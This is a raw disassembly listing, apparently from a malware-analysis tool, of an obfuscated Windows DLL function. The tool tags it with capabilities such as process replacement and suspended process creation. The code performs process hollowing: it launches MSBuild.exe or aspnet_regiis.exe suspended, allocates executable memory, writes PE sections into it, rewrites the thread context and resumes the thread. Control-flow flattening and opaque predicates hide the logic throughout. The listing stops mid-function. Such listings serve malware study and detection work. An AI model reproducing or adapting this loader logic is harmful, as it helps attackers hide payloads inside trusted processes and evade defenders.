Function at 0x10002100
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x148
mov eax, dword [0x10064000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x150], 0x90dd693a
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
sub eax, 0x803e16ae
je 0x10002dcb
jmp 0x1000213c
mov eax, dword [ebp - 0x154]
sub eax, 0x8242f2ff
je 0x10004614
jmp 0x10002152
mov eax, dword [ebp - 0x154]
sub eax, 0x82c2d156
je 0x100048b9
jmp 0x10002168
mov eax, dword [ebp - 0x154]
sub eax, 0x8389b538
je 0x10003987
jmp 0x1000217e
mov eax, dword [ebp - 0x154]
sub eax, 0x84df0994
je 0x100046b3
jmp 0x10002194
mov eax, dword [ebp - 0x154]
sub eax, 0x85207385
je 0x10003a3a
jmp 0x100021aa
mov eax, dword [ebp - 0x154]
sub eax, 0x85ef9840
je 0x10002f1e
jmp 0x100021c0
mov eax, dword [ebp - 0x154]
sub eax, 0x8715ce04
je 0x10003ab7
jmp 0x100021d6
mov eax, dword [ebp - 0x154]
sub eax, 0x872ab143
je 0x10003a19
jmp 0x100021ec
mov eax, dword [ebp - 0x154]
sub eax, 0x881c2d98
je 0x10004d16
jmp 0x10002202
mov eax, dword [ebp - 0x154]
sub eax, 0x8a3f87eb
je 0x10003367
jmp 0x10002218
mov eax, dword [ebp - 0x154]
sub eax, 0x8eea6821
je 0x10004484
jmp 0x1000222e
mov eax, dword [ebp - 0x154]
sub eax, 0x8f634630
je 0x10004326
jmp 0x10002244
mov eax, dword [ebp - 0x154]
sub eax, 0x90712842
je 0x1000314a
jmp 0x1000225a
mov eax, dword [ebp - 0x154]
sub eax, 0x90dd693a
je 0x10002c6d
jmp 0x10002270
mov eax, dword [ebp - 0x154]
sub eax, 0x917fa298
je 0x10004c73
jmp 0x10002286
mov eax, dword [ebp - 0x154]
sub eax, 0x93c50a2f
je 0x10003dbc
jmp 0x1000229c
mov eax, dword [ebp - 0x154]
sub eax, 0x95b1065d
je 0x100045eb
jmp 0x100022b2
mov eax, dword [ebp - 0x154]
sub eax, 0x98a0c548
je 0x10003672
jmp 0x100022c8
mov eax, dword [ebp - 0x154]
sub eax, 0x99825d6f
je 0x10004a1b
jmp 0x100022de
mov eax, dword [ebp - 0x154]
sub eax, 0x9ee97cae
je 0x1000372f
jmp 0x100022f4
mov eax, dword [ebp - 0x154]
sub eax, 0x9feccb74
je 0x100049bb
jmp 0x1000230a
mov eax, dword [ebp - 0x154]
sub eax, 0xa0b3167c
je 0x10004844
jmp 0x10002320
mov eax, dword [ebp - 0x154]
sub eax, 0xa17f7eeb
je 0x10004743
jmp 0x10002336
mov eax, dword [ebp - 0x154]
sub eax, 0xa72fea46
je 0x10003902
jmp 0x1000234c
mov eax, dword [ebp - 0x154]
sub eax, 0xa7a85117
je 0x10003d46
jmp 0x10002362
mov eax, dword [ebp - 0x154]
sub eax, 0xa7e7bbb5
je 0x10004b16
jmp 0x10002378
mov eax, dword [ebp - 0x154]
sub eax, 0xa807e391
je 0x10004dbb
jmp 0x1000238e
mov eax, dword [ebp - 0x154]
sub eax, 0xa95ed962
je 0x10003e28
jmp 0x100023a4
mov eax, dword [ebp - 0x154]
sub eax, 0xaa2d0de3
je 0x1000360f
jmp 0x100023ba
mov eax, dword [ebp - 0x154]
sub eax, 0xabce23e6
je 0x10004a2a
jmp 0x100023d0
mov eax, dword [ebp - 0x154]
sub eax, 0xabe2012f
je 0x10003019
jmp 0x100023e6
mov eax, dword [ebp - 0x154]
sub eax, 0xac0ce5ef
je 0x10003beb
jmp 0x100023fc
mov eax, dword [ebp - 0x154]
sub eax, 0xac18fa7d
je 0x100041e5
jmp 0x10002412
mov eax, dword [ebp - 0x154]
sub eax, 0xb5d4d1e5
je 0x10003fd1
jmp 0x10002428
mov eax, dword [ebp - 0x154]
sub eax, 0xb996bce2
je 0x100031c0
jmp 0x1000243e
mov eax, dword [ebp - 0x154]
sub eax, 0xbec8170d
je 0x10002e19
jmp 0x10002454
mov eax, dword [ebp - 0x154]
sub eax, 0xc0f3cb0b
je 0x1000456e
jmp 0x1000246a
mov eax, dword [ebp - 0x154]
sub eax, 0xc2e894da
je 0x10002dbc
jmp 0x10002480
mov eax, dword [ebp - 0x154]
sub eax, 0xc3b51fbc
je 0x10003462
jmp 0x10002496
mov eax, dword [ebp - 0x154]
sub eax, 0xc8d03b76
je 0x10003f71
jmp 0x100024ac
mov eax, dword [ebp - 0x154]
sub eax, 0xc8e4563f
je 0x100044d7
jmp 0x100024c2
mov eax, dword [ebp - 0x154]
sub eax, 0xcbbe74c6
je 0x10004c1b
jmp 0x100024d8
mov eax, dword [ebp - 0x154]
sub eax, 0xcf9f528a
je 0x10003b2d
jmp 0x100024ee
mov eax, dword [ebp - 0x154]
sub eax, 0xcfd347a0
je 0x10002f85
jmp 0x10002504
mov eax, dword [ebp - 0x154]
sub eax, 0xd30a0c15
je 0x10004e15
jmp 0x1000251a
mov eax, dword [ebp - 0x154]
sub eax, 0xd686ede4
je 0x10004e06
jmp 0x10002530
mov eax, dword [ebp - 0x154]
sub eax, 0xd7f2c81c
je 0x10004e63
jmp 0x10002546
mov eax, dword [ebp - 0x154]
sub eax, 0xe0a48186
je 0x10004e39
jmp 0x1000255c
mov eax, dword [ebp - 0x154]
sub eax, 0xe0db1754
je 0x10004224
jmp 0x10002572
mov eax, dword [ebp - 0x154]
sub eax, 0xe2671518
je 0x1000374c
jmp 0x10002588
mov eax, dword [ebp - 0x154]
sub eax, 0xe497d472
je 0x10002fa3
jmp 0x1000259e
mov eax, dword [ebp - 0x154]
sub eax, 0xe629d8b3
je 0x10003776
jmp 0x100025b4
mov eax, dword [ebp - 0x154]
sub eax, 0xe75e7409
je 0x100030de
jmp 0x100025ca
mov eax, dword [ebp - 0x154]
sub eax, 0xec3c8fc7
je 0x10003471
jmp 0x100025e0
mov eax, dword [ebp - 0x154]
sub eax, 0xec46dfc6
je 0x10003bfa
jmp 0x100025f6
mov eax, dword [ebp - 0x154]
sub eax, 0xee5854b8
je 0x10004d25
jmp 0x1000260c
mov eax, dword [ebp - 0x154]
sub eax, 0xef2937cf
je 0x10004cb1
jmp 0x10002622
mov eax, dword [ebp - 0x154]
sub eax, 0xf47802cd
je 0x100045dc
jmp 0x10002638
mov eax, dword [ebp - 0x154]
sub eax, 0xf4d9652f
je 0x10004f5f
jmp 0x1000264e
mov eax, dword [ebp - 0x154]
sub eax, 0xf924afce
je 0x10004f50
jmp 0x10002664
mov eax, dword [ebp - 0x154]
sub eax, 0xfc68c1f4
je 0x10004dd6
jmp 0x1000267a
mov eax, dword [ebp - 0x154]
sub eax, 0xe1544d
je 0x10004b84
jmp 0x10002690
mov eax, dword [ebp - 0x154]
sub eax, 0x23f3ef3
je 0x10003d16
jmp 0x100026a6
mov eax, dword [ebp - 0x154]
sub eax, 0x2c3b976
je 0x100041c7
mov eax, dword [0x10065330]
mov ecx, dword [0x1006532c]
mov edx, eax
add edx, 0xd88ecca1
sub edx, 1
sub edx, 0xd88ecca1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbbe74c6
mov ecx, 0xf69c065
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0x803e16ae
jmp 0x10004f69
mov eax, dword [ebp - 0x110]
movzx edx, word [eax]
mov eax, 0x2859d4c5
mov ecx, 0x6fdb1443
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xe0]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x150], 0x5af031db
jmp 0x10004f69
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005e20
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005e20
add esp, 0xc
mov eax, dword [ebp - 0x118]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x150], 0xcfd347a0
jmp 0x10004f69
mov eax, dword [ebp - 0xd4]
add eax, 0x70
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x150], 0xe497d472
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0xe72fb07e
sub edx, 1
sub edx, 0xe72fb07e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x917fa298
mov ecx, 0xabe2012f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x119], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x120], eax
mov al, byte [ebp - 0x119]
and al, 1
mov byte [ebp - 0xc9], al
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0xce498440
sub edx, 1
sub edx, 0xce498440
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x917fa298
mov ecx, 0x2488e386
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x150], 0x742ca0e3
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0xcd578f2f
sub edx, 1
sub edx, 0xcd578f2f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35058cda
mov ecx, 0xb996bce2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0x28c9dd70
jmp 0x10004f69
mov eax, dword [ebp - 0x114]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x5801b8a1
mov ecx, 0x3a9da828
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0xec3c8fc7
jmp 0x10004f69
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x118]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x14]
lea eax, [ebp - 0x70]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov eax, 0x70425b0a
mov ecx, 0x699a5344
cmp dword [ebp - 0x6c], 0
cmove eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc4]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x150], 0x70425b0a
jmp 0x10004f69
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc0]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x110]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x118]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0x118]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x118]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov dword [ebp - 0x150], 0x9ee97cae
jmp 0x10004f69
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x150], 0xe2671518
jmp 0x10004f69
mov eax, dword [ebp - 0x118]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xbc]
mov eax, 0x513bf69
mov ecx, 0xe629d8b3
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee5854b8
mov ecx, 0x32fedceb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0x5d3df3bb
jmp 0x10004f69
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xb8]
cmp eax, ecx
setae al
and al, 1
mov byte [ebp - 0xad], al
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
sub edx, 0x35dacb6b
sub edx, 1
add edx, 0x35dacb6b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa807e391
mov ecx, 0x872ab143
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dl, byte [ebp - 0xad]
mov eax, 0xac0ce5ef
mov ecx, 0x85207385
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x100]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x100]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
add eax, 0xed866eba
add eax, ecx
sub eax, 0xed866eba
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x150], 0x48398c4
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0xa3cf5115
sub edx, 1
sub edx, 0xa3cf5115
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc68c1f4
mov ecx, 0xcf9f528a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x100]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x14c]
mov esi, dword [ebp - 0x100]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add ecx, edx
add eax, ecx
mov dword [ebp - 0xa4], eax
mov eax, dword [0x10065330]
mov ecx, dword [0x1006532c]
mov edx, eax
sub edx, 0x373ba456
sub edx, 1
add edx, 0x373ba456
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc68c1f4
mov ecx, 0x6bc9cf72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0xec46dfc6
jmp 0x10004f69
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x150], 0x7dbd5bed
jmp 0x10004f69
mov dword [ebp - 0x150], 0x758b75da
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0x150caef1
sub edx, 1
sub edx, 0x150caef1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd686ede4
mov ecx, 0x93c50a2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x118]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x94], eax
mov eax, dword [0x10065330]
mov ecx, dword [0x1006532c]
mov edx, eax
sub edx, 0x23bb252
sub edx, 1
add edx, 0x23bb252
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd686ede4
mov ecx, 0xa95ed962
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0x415e90e1
jmp 0x10004f69
mov dword [ebp - 0x150], 0x169dcc50
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1fed165d
mov ecx, 0x7d85f394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x7e], al
mov dword [ebp - 0x150], 0xe0db1754
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
add edx, 0x95d16a46
sub edx, 1
sub edx, 0x95d16a46
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8c7e81
mov ecx, 0xadc2d37
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd7f2c81c
mov ecx, 0x319059bf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dl, byte [ebp - 0x7d]
mov eax, 0x6fb9d56c
mov ecx, 0x160e14ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x150], 0x6fb9d56c
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a699ead
mov ecx, 0xf47802cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0x95b1065d
jmp 0x10004f69
mov dword [ebp - 0x150], 0x6aeaa083
jmp 0x10004f69
mov ecx, dword [ebp - 0x7c]
sub ecx, 0x5324e28a
add ecx, 1
add ecx, 0x5324e28a
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0x30c4b0ef
jmp 0x10004f69
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
sub edx, 0x79e7cdcb
sub edx, 1
add edx, 0x79e7cdcb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49a4b0dd
mov ecx, 0x37da3fd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0x83dfcda5
add ecx, eax
sub ecx, 0x83dfcda5
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0x28a34521
jmp 0x10004f69
mov eax, dword [ebp - 0x118]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0x957f550
add ecx, 8
add ecx, 0x957f550
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x124]
add eax, 0xac4bdfeb
add eax, 8
sub eax, 0xac4bdfeb
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x150], 0x82c2d156
jmp 0x10004f69
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x118]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x150], 0x5801b8a1
jmp 0x10004f69
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10065330]
mov ecx, dword [0x1006532c]
mov edx, eax
sub edx, 0x958cbc28
sub edx, 1
add edx, 0x958cbc28
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x69f04c7a
mov ecx, 0x99825d6f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov dword [ebp - 0x150], 0xabce23e6
jmp 0x10004f69
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 0x396a7bc4
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf4d9652f
mov ecx, 0xe1544d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10004f69
mov ecx, dword [0x10065330]
mov eax, dword [0x1006532c]
mov edx, ecx
sub edx, 0xfe880179
sub edx, 1
add edx, 0xfe880179
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
